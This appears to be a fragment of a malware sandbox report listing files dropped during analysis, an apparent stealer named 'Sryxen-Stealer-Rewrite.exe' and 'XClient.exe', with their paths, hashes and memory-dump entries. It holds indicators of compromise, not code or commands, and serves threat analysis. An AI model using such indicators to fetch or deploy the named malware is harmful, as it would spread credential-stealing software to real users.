Path C:\Users\Admin\AppData\Roaming\Sryxen-Stealer-Rewrite.exe
Size 3.0MB
SHA256 883599a3749b9520e3b05864cc1dbac97580dc9ff11282ef51576d0f40c19391
MD5 288eb27411dee9ef8d25896a040f170a
SHA1 c00ffbfb0a55722833383ccd0dc42b8a4a7518bf
SHA512 e90c0a35adf5bdb5d5bad64101ece31f498897bbdbf35536158fbd71d2ac69ff4c43942a7727140d5bc511201cec931b36692e7602ddb46ae4c42e95a27c1b7e
SSDEEP 49152:77qrTbxgOJ3XE3+8hgI7xO5+eCX7L/5wWEjJtKdw:GBAxfX7twWG
TLSH
T1D5E509EEDA2F11E9C477C0B8A557722BF9A0385A43B557C752908F0A1B13AE4E97D3C0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XClient.exe

Path C:\Users\Admin\AppData\Roaming\XClient.exe
Size 38KB
SHA256 567e360f63eab22370db879e1590b793c7be039bfc6267a50aaa56a023e4a561
MD5 98d88182e738432c218c39b0bed4e41b
SHA1 60031e485f0584dd3366140e426fbc98905dc29d
SHA512 093a3f8d38a2cc4702ced76f390281660b7fa8eab3c1c778c76dbd5f1f022ac4362f0bd8a5105ccdf676868910c25e8e62d9e61493d53fdc1c066431c7baa6d0
SSDEEP 384:Fs8eLSLEMCroxHDLAlpNypsuH9/LeM1Skxa5iXPW4U0+pkFMAfNLTgZwdcDcvw9t:X4SL6reD6g1SkxaoefSFy9fMOMh5bE
TLSH
T1A4036C487BD84225D9FE7FFA59F36A021330F5078A13E74E0CD989A96B67BC085017E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3652-262-0x0000019F2B820000-0x0000019F2B842000-memory.dmp

Download

memory/3652-270-0x0000019F45740000-0x0000019F4575C000-memory.dmp

Download

memory/3652-271-0x0000019F45760000-0x0000019F45813000-memory.dmp

Download

memory/3652-272-0x0000019F45510000-0x0000019F4551A000-memory.dmp

Download

memory/4976-0-0x0000000000AE0000-0x0000000000DF4000-memory.dmp

Download

memory/5116-21-0x0000000000EF0000-0x0000000000F00000-memory.dmp

Download